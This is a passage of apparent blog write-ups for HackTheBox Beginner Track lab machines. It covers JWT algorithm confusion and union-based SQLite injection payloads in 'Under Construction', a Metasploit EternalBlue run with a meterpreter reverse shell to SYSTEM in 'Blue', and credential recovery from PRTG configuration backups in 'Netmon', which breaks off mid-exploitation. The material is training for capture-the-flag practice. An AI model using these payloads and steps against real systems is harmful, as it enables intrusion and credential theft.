KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\\n0wIDAQAB\\n-----END PUBLIC KEY-----\\n\u0026#34;, \u0026#34;iat\u0026#34;: 1686225169 } Signature = \u0026#34;g32U0iT0x4F8WbPcUGQ4SaA9OlgNt15kZotnypKu8V2HkeFNB7bG2yoXhkqGCj9CLI9L71SH2z20AJHSQPc6CMf2kwd-4QSjy1Oq6dr70cOcuMYbzeFpiJwVqtn1TJwcFyCv6lC1FQiOtFYg9k-yAkoD99K6wknBKxoo49N38aXs83a6pm9eJ1e1PbhtHtT5w2f5mi8cIeL5jVwu5TmzZfSyIgrjM82_czgmfE67ajay9oUBU9EHpTVXcNmItuDGFOHREGvRNWcysnGEjkm7-P4RwGDzOIciMrPEfpUZJWRjw78lVEwH_s0iINtFBG3KtsRGglO9itTDN8VGLe6apQ\u0026#34; and the public RSA key looks like this:\n-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\\n0wIDAQAB\\n-----END PUBLIC KEY-----\\n But it still contains newline characters (\\n), so we remove them and ensure there is an appending newline at the end:\n-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY ktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi XuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg jIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH +FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx V8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr 0wIDAQAB -----END PUBLIC KEY----- With this, we have completed the first step.\nStep 2: Convert the Public Key to a Suitable Format Given that our public RSA key is already in PEM format, we continue with the fourth substep: \u0026ldquo;Substep 4: Go to the Decoder tab and Base64-encode the PEM.\u0026rdquo;\nFigure 7: Burp Suite Decoder with Base64-encoded RSA key\nThis is how the Base64-encoded public RSA key looks:\nLS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWQprdHNiajFLeHhVT296dzB0clA5M0JnSXBYdjZXaXBRUkI1bHFvZlBsVTZGQjk5SmM1UVowNDU5dDczZ2dWRFFpClh1Q01JMmhvVWZKMVZtak5lV0NyU3JEVWhva0lGWkV1Q3VtZWh3d3RVTnVFdjBlekM1NFpUZEVDNVlTVEFPemcKaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSAorRnluTnNqTk53bzVuUmU3dFIxMldiMllPQ3h3MnZkYW1PMW4xa2YvU015cFNLS3ZPZ2o1eTBMR2lVM2plWE14ClY4V1MrWWlZQ1U1T0JBbVRjejJ3Mmt6QmhaRmxINlJLNG1xdWV4SkhyYTIzSUd2NVVKNUdWUEVYcGRDcUszVHIKMHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== As for the remaining substeps:\nSubstep 5: Go back to the JWT Editor Keys tab and click New Symmetric Key. Substep 6: In the dialog, click Generate to generate a new key in JWK format. Substep 7: Replace the generated value for the k parameter with the Base64-encoded PEM key that you just copied. Substep 8: Save the key. we can complete them quite easily.\nFigure 8: Burp Suite symmetric key configuration\nBefore moving on, let us do a quick check to ensure that we can correctly sign a token.\nFigure 9: Burp Suite JWT signing test\nSending the request, we receive a valid response, which implies that our signature was accepted.\nFigure 10: Burp Suite showing the accepted signature\nSteps 3 and 4: Create a Malicious JWT and Sign the Token This step combines steps 3 and 4:\nStep 3: Create a malicious JWT with a modified payload and the alg header set to HS256. Step 4: Sign the token with HS256, using the public key as the secret. We will perform these steps continuously, one after the other, as we modify our SQL injection payload.\nOur next course of action is to exploit the SQL injection vulnerability we found in helpers/DBHelper.js and use it as our payload:\n... db.get(`SELECT * FROM users WHERE username = \u0026#39;${username}\u0026#39;`, (err, data) =\u0026gt; { if (err) return rej(err); res(data); }); ... SQL Injection Since we already know that the database we are interacting with is SQLite \u0026ndash; sqlite3 requirement in helpers/DBHelper.js \u0026ndash; we can look for an SQLite injection cheat sheet.\nThis cheat sheet from PayloadsAllTheThings is one of the more common ones.\nOur main goal is to retrieve or leak data \u0026ndash; the flag in our case \u0026ndash; from the database.\nMoreover, we already know that we are querying the users table by default, so our first order of business is to determine the number of rows and columns that we are presented with. Our default SQL query looks like this:\n`SELECT * FROM users WHERE username = \u0026#39;${username}\u0026#39;` We can use the UNION operator to combine the results of two or more SELECT statements into a single result. This technique is called union-based SQL injection. It is important to note that every SELECT statement within UNION must have the same number of columns.\nSince integer values are automatically converted to other types if need be, we use them to determine the returned number of columns.\nWe start with 1 and increase our number until we find the correct number of columns.\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;body\u0026gt; \u0026lt;pre\u0026gt; Error: SQLITE_ERROR: SELECTs to the left and right of UNION do not have the same number of result columns \u0026lt;/pre\u0026gt; \u0026lt;/body\u0026gt; ... Adding another column does not help either. But we get valid results when using three values, and we get the second column of the second row displayed in the response:\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1,2,3\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome 2\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... Let us explore further. First we display the SQLite version:\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, sqlite_version(),3\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome 3.30.1\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... To limit the number of rows returned by our SELECT statement, we use the LIMIT and OFFSET clauses to display the second row:\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, 2, 3 limit 1 offset 1 --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome username\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... We can list the tables by using the following technique:\nSELECT tbl_name FROM sqlite_master WHERE type=\u0026#39;table\u0026#39; and tbl_name NOT like \u0026#39;sqlite_%\u0026#39; Use limit X+1 offset X to extract all tables. Listing tables: LIMIT=1 and OFFSET=0.\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, tbl_name, 3 from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name not like \u0026#39;sqlite_%\u0026#39; limit 1 offset 0 --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome flag_storage\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... Listing tables: LIMIT=2 and OFFSET=1.\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, tbl_name, 3 from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name not like \u0026#39;sqlite_%\u0026#39; limit 2 offset 1 --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome users\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... Listing tables: LIMIT=3 and OFFSET=2.\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, tbl_name, 3 from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name not like \u0026#39;sqlite_%\u0026#39; limit 3 offset 2 --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome username\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; ... Listing tables: LIMIT=4 and OFFSET=3.\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, tbl_name, 3 from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name not like \u0026#39;sqlite_%\u0026#39; limit 4 offset 3 --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... user username\u0026#39; union select 1, tbl_name, 3 from sqlite_master where type=\u0026#39;table\u0026#39; and tbl_name not like \u0026#39;sqlite_%\u0026#39; limit 4 offset 3 --\u0026#39; doesn\u0026#39;t exist in our database. With that, we have the following interesting tables: flag_storage, users, and username.\nOur primary interest lies with the flag_storage table, so we list its columns:\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, sql, 3 from sqlite_master where type!=\u0026#39;meta\u0026#39; and sql not null and name=\u0026#39;flag_storage\u0026#39; --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome CREATE TABLE \u0026amp;quot;flag_storage\u0026amp;quot; ( \u0026amp;quot;id\u0026amp;quot;\tINTEGER PRIMARY KEY AUTOINCREMENT, \u0026amp;quot;top_secret_flaag\u0026amp;quot;\tTEXT )\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; So we have two columns: id and top_secret_flaag.\nRetrieving the Flag All that remains is to retrieve the flag, so we query the flag_storage table\u0026rsquo;s top_secret_flaag column:\n// Query payload ... \u0026#34;username\u0026#34;: \u0026#34;username\u0026#39; union select 1, top_secret_flaag, 3 from flag_storage --\u0026#39;\u0026#34;, ... \u0026lt;!-- HTTP Response --\u0026gt; ... \u0026lt;div class=\u0026#34;card-body\u0026#34;\u0026gt; Welcome HTB{\u0026lt;redacted-flag\u0026gt;}\u0026lt;br\u0026gt; This site is under development. \u0026lt;br\u0026gt; Please come back later. \u0026lt;/div\u0026gt; Finally, we submit the flag and review the challenge before terminating the challenge box.\n","permalink":"https://onebee.blog/blog/htb/beginner-track/under-construction/","summary":"HackTheBox | Beginner Track | Under Construction","title":"Under Construction"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nMachine: Blue\nReleased: 28/07/2017 MACHINE SYNOPSIS\nBlue, while possibly the most simple machine on Hack The Box, demonstrates the severity of the EternalBlue exploit, which has been used in multiple large-scale ransomware and crypto-mining attacks since it was leaked publicly.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;targetbox-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;targetbox-ip\u0026gt; user@kali:~$ We can use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Information Gathering As usual, we start with a quick connection check.\nuser@kali:~$ ping -c 4 -n -R $rhost \u003e connection-test.txt user@kali:~$ cat connection-test.txt ... 4 packets transmitted, 4 received, 0% packet loss, time 3004ms ... user@kali:~$ This is followed by the usual TCP scan (version detection, default scripts, top ports).\nuser@kali:~$ nmap -sV -sC -on nmap-service-defscripts-topports-scan $rhost ... PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows ... Host script results: ... | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\\x00 | Workgroup: WORKGROUP\\x00 ... | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) ... user@kali:~$ A couple of ports are reported open. One thing clearly stands out, however: Port 445 with microsoft-ds as the service and with Windows 7 Professional 7601 Service Pack 1 as the version.\nOr put simply, SMB running on a quite old OS.\nDoing a quick Internet search for its reported vulnerabilities leads us to MS17-010 EternalBlue \u0026ndash; the famous EternalBlue exploit. This is the same exploit used by the WannaCry ransomware a couple of years back, which targets CVE-2017-0144.\nSince an exploit already exists for it in Metasploit, we simply continue from there.\nExploitation We begin by firing up Metasploit.\nuser@kali:~$ msfconsole -q [msf](Jobs:0 Agents:0) \u003e\u003e After searching for the aforementioned exploit,\n[msf](Jobs:0 Agents:0) \u003e\u003e search ms17-010 eternalblue Matching Modules ================ ... # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection 4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution ... [msf](Jobs:0 Agents:0) \u003e\u003e we are presented with several options. The one we will be using here is the most common one for EternalBlue, available at exploit/windows/smb/ms17_010_eternalblue. Selecting it,\n[msf](Jobs:0 Agents:0) \u003e\u003e use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e and querying the module for information helps us verify that the exploit is indeed appropriate for our current case.\n[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e info ... Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption Module: exploit/windows/smb/ms17_010_eternalblue Platform: Windows Arch: x64 Privileged: Yes License: Metasploit Framework License (BSD) Rank: Average ... Description: This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads. ... Also known as: ETERNALBLUE ... [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e Since the exploit fits our target, all that remains is to configure it properly and then run it. Listing the module\u0026rsquo;s options should help us with the configuration.\n[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e options ... Module options (exploit/windows/smb/ms17_010_eternalblue): ... Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. ... Payload options (windows/x64/meterpreter/reverse_tcp): ... Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 161.35.38.166 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port ... Exploit target: Id Name -- ---- 0 Automatic Target ... [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e Looking at the default configuration, we can leave almost all settings untouched, except of course the target and local host settings.\nWe could specify our target host\u0026rsquo;s OS, setting it to \u0026ndash; OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) \u0026ndash; which was reported earlier during port scanning, but the module ships with automatic architecture and OS discovery, so this is unnecessary.\n[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e set rhosts 10.129.174.73 rhosts =\u003e 10.129.174.73 [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e set lhost tun0 lhost =\u003e 10.10.14.20 [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e With everything properly set up, we run a quick check to see if our target is vulnerable.\n[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e check ... [*] 10.129.174.73:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.129.174.73:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.129.174.73:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.129.174.73:445 - The target is vulnerable. [msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e The target is indeed vulnerable, so we run our exploit.\n[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) \u003e\u003e run ... [*] Meterpreter session 1 opened (10.10.14.20:4444 -\u003e 10.129.174.73:49158) at ... ... (Meterpreter 1)(C:\\Windows\\system32) \u003e A Meterpreter session was successfully opened, giving us a shell connection to our target. As we can see, we are logged in with the NT AUTHORITY\\SYSTEM account, which has the highest privileges on a local Windows system; it is even more powerful than the local administrator account.\n(Meterpreter 1)(C:\\Windows\\system32) \u003e getuid Server username: NT AUTHORITY\\SYSTEM (Meterpreter 1)(C:\\Windows\\system32) \u003e Therefore, there is no need for any lateral movement or privilege escalation on our part \u0026ndash; we already possess the privileges necessary to access both flags.\nPost-Exploitation All that remains is to find and retrieve both the user and root flags. We drop into the system command shell, since traversing directories on a Windows system might be easier via CMD.\n(Meterpreter 1)(C:\\Windows\\system32) \u003e shell Process 1128 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\\Windows\\system32\u003e Once we identify the local user account \u0026ndash; haris, we navigate to his Desktop and retrieve the user flag.\nC:\\Windows\\system32\u003ecd c:\\users\\haris\\desktop\\ ... c:\\Users\\haris\\Desktop\u003edir ... ... 34 user.txt ... c:\\Users\\haris\\Desktop\u003etype user.txt ... \u0026lt;redacted-user-flag\u0026gt; ... c:\\Users\\haris\\Desktop\u003e Retrieving the root flag is even easier: we already know that it usually resides on the Administrator\u0026rsquo;s Desktop.\nc:\\Users\\haris\\Desktop\u003ecd c:\\users\\administrator\\desktop ... c:\\Users\\Administrator\\Desktop\u003edir ... ... 34 root.txt ... c:\\Users\\Administrator\\Desktop\u003etype root.txt ... \u0026lt;redacted-root-flag\u0026gt; ... c:\\Users\\Administrator\\Desktop\u003e With this, we have successfully compromised the target machine. All that remains is to submit the flags and then terminate the target box (if not terminated already).\n","permalink":"https://onebee.blog/blog/htb/beginner-track/blue/","summary":"HackTheBox | Beginner Track | Blue","title":"Blue"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Beginner Track\nMachine: Netmon\nReleased: 02/03/2019 MACHINE SYNOPSIS\nNetmon is an easy difficulty Windows box with simple enumeration and exploitation. PRTG is running, and an FTP server with anonymous access allows reading of PRTG Network Monitor configuration files. The version of PRTG is vulnerable to RCE which can be exploited to gain a SYSTEM shell.\nPreparations There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.\nOnce connected, we spawn the target machine.\nAdditionally \u0026ndash; even though not required \u0026ndash; we may set a local variable (available only in the current shell) containing our target host\u0026rsquo;s IP address. Once set, we access it by prepending $rhost to the variable name.\nuser@kali:~$ rhost=\u0026lt;targetbox-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;targetbox-ip\u0026gt; user@kali:~$ We can use the unset command to remove it after we no longer need it.\nuser@kali:~$ unset rhost Information Gathering We begin with a quick connection check:\nuser@kali:~$ ping -c 4 -n -R $rhost \u003e connection-test.txt user@kali:~$ cat connection-test.txt ... 4 packets transmitted, 4 received, 0% packet loss, time 3004ms ... user@kali:~$ followed by the usual service, script, and top-ports TCP scan.\nuser@kali:~$ nmap -sV -sC -oN nmap-service-script-topports-scan $rhost ... PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd ... | ftp-anon: Anonymous FTP login allowed (FTP code 230) ... 80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor) | http-title: Welcome | PRTG Network Monitor (NETMON) ... 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows ... Host script results: ... | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) ... user@kali:~$ There are several key findings from this report:\nFTP: anonymous login is allowed The target is running a Paessler PRTG bandwidth monitoring tool Vulnerable web server (Indy httpd 18.1.37.13946): possible directory traversal, XSS, and SQL injection Ports 135, 139, and 445: Microsoft protocols to enable communication between different computers, mostly on the same network but not exclusively OS: probably Windows Server 2008 R2–2012 Disabled SMB signing: potential MITM attack Firing up our browser and heading over to the target\u0026rsquo;s web server, we are welcomed with a NETMON login page.\nFigure 1: PRTG Network Monitor login page\nSadly, none of the default credentials we tried worked \u0026ndash; not even prtgadmin:prtgadmin \u0026ndash; so we move on. Let us check out the FTP share using anonymous access.\nuser@kali:~$ ftp $rhost 21 ... 220 Microsoft FTP Service Name (10.129.96.142:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT ftp\u003e It appears the entire C: drive was shared.\nftp\u003e ls -al 200 PORT command successful. 125 Data connection already open; Transfer starting. ... \u0026lt;DIR\u0026gt; $RECYCLE.BIN ... 1024 .rnd ... 389408 bootmgr ... 1 BOOTNXT ... \u0026lt;DIR\u0026gt; Documents and Settings ... \u0026lt;DIR\u0026gt; inetpub ... 738197504 pagefile.sys ... \u0026lt;DIR\u0026gt; PerfLogs ... \u0026lt;DIR\u0026gt; Program Files ... \u0026lt;DIR\u0026gt; Program Files (x86) ... \u0026lt;DIR\u0026gt; ProgramData ... \u0026lt;DIR\u0026gt; Recovery ... \u0026lt;DIR\u0026gt; System Volume Information ... \u0026lt;DIR\u0026gt; Users ... \u0026lt;DIR\u0026gt; Windows 226 Transfer complete. ftp\u003e After exploring briefly, we come up empty-handed and are forced to resort to looking up the default directory for the NETMON configuration files. They should be at C:\\ProgramData\\Paessler\\PRTG Network Monitor\\data, so let us head there.\nftp\u003e cd programdata ... ftp\u003e ls ... ... \u0026lt;DIR\u0026gt; Paessler ... ftp\u003e cd paessler\\ ... ftp\u003e ls ... ... \u0026lt;DIR\u0026gt; PRTG Network Monitor ... ftp\u003e cd \"PRTG Network Monitor\" ... ftp\u003e ls -la ... ... 1189697 PRTG Configuration.dat ... 1189697 PRTG Configuration.old ... 1153755 PRTG Configuration.old.bak ... 1640740 PRTG Graph Data Cache.dat ... ftp\u003e Even though we did not find any data directory, this location seems promising \u0026ndash; especially the four PRTG files. Let us download them.\nftp\u003e get \"PRTG Configuration.dat\" ... ftp\u003e get \"PRTG Configuration.old\" ... ftp\u003e get \"PRTG Configuration.old.bak\" ... ftp\u003e get \"PRTG Graph Data Cache.dat\" ... ftp\u003e Searching for Credentials The first results we get after we start searching for leftover credentials are quite lengthy and not easily readable.\nuser@kali:~$ grep -i password * PRTG Configuration.dat: \u0026lt;dbpassword\u0026gt; ... PRTG Configuration.old.bak: \u0026lt;/dbpassword\u0026gt; ... user@kali:~$ It gets a bit better after we remove all the whitespace, but it is still very long.\nuser@kali:~$ grep -i password * | tr -d \" \" PRTGConfiguration.dat:\u0026lt;dbpassword\u0026gt; ... PRTGConfiguration.old.bak:\u0026lt;dbpassword\u0026gt; ... user@kali:~$ These all look like opening and closing tags; in that case, the passwords we are looking for should be between those tags.\nTherefore, if we want to see those too, we need to use Grep\u0026rsquo;s context line control options. But even with those, the output is still way too long; therefore, we use grep, sort, and tr to shorten it.\nuser@kali:~$ grep -i -A 3 -B 3 password * | tr -d \" \" | sort | grep -v '^.*[^\u003c]*\u003c[^\u003e]*\u003e$' | grep -vE '^--$' ... PRTGConfiguration.dat-0 ... PRTGConfiguration.old.bak-M24VKFRECBEGN3ZQNGSET723GFIPVHYX PRTGConfiguration.old.bak-\tPrTg@dmin2018 PRTGConfiguration.old-DE ... user@kali:~$ There is only one potential password remaining: PrTg@dmin2018 in the PRTGConfiguration.old.bak file. But we still need to find the matching username for it.\nuser@kali:~$ grep PrTg@dmin2018 PRTG\\ Configuration.old.bak -A 3 -B 3 \u0026lt;/dbcredentials\u0026gt; \u0026lt;dbpassword\u0026gt; \u0026lt;!-- User: prtgadmin --\u0026gt; PrTg@dmin2018 \u0026lt;/dbpassword\u0026gt; \u0026lt;dbtimeout\u0026gt; 60 user@kali:~$ Now let us try this pair \u0026ndash; prtgadmin:PrTg@dmin2018 \u0026ndash; against the web server\u0026rsquo;s login page. Sadly, it does not work. How about for FTP?\nuser@kali:~$ ftp $rhost 21 ... Name (10.129.96.142:root): prtgadmin ... Password: 530 User cannot log in. Login failed. ... ftp\u003e exit 221 Goodbye. user@kali:~$ So neither web server login nor FTP login works. SMB, perhaps?\nuser@kali:~$ smbmap -u prtgadmin -p PrTg@dmin2018 -H $rhost [!] Authentication error on 10.129.96.142 user@kali:~$ It looks like we are stuck, so we seek some help. One of the hints we find mentions taking a deeper look at the PRTG files and their creation dates.\n# FTP output from before\nMM-DD-19 HH:MM 1189697 PRTG Configuration.dat\nMM-DD-19 HH:MM 1189697 PRTG Configuration.old\nMM-DD-18 HH:MM 1153755 PRTG Configuration.old.bak\nMM-DD-23 MM:MM 1640740 PRTG Graph Data Cache.dat\nLooking over the dates, we get the idea. The previous configuration was from 2018 and had 2018 referenced in its password, but the current configuration is from 2019, one year more recent.\nTherefore, let us try prtgadmin:PrTg@dmin2019 this time. It works on the website, and we are welcomed as a system administrator.\nFigure 2: PRTG Network Monitor dashboard\nAfter some research on the aforementioned version, we identify the following vulnerability: exploit/windows/http/prtg_authenticated_rce.\nExploitation Given the exploit already at hand, we examine it.\nuser@kali:~$ msfconsole -q [msf](Jobs:0 Agents:0) \u003e\u003e use exploit/windows/http/prtg_authenticated_rce [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp [msf](Jobs:0 Agents:0) 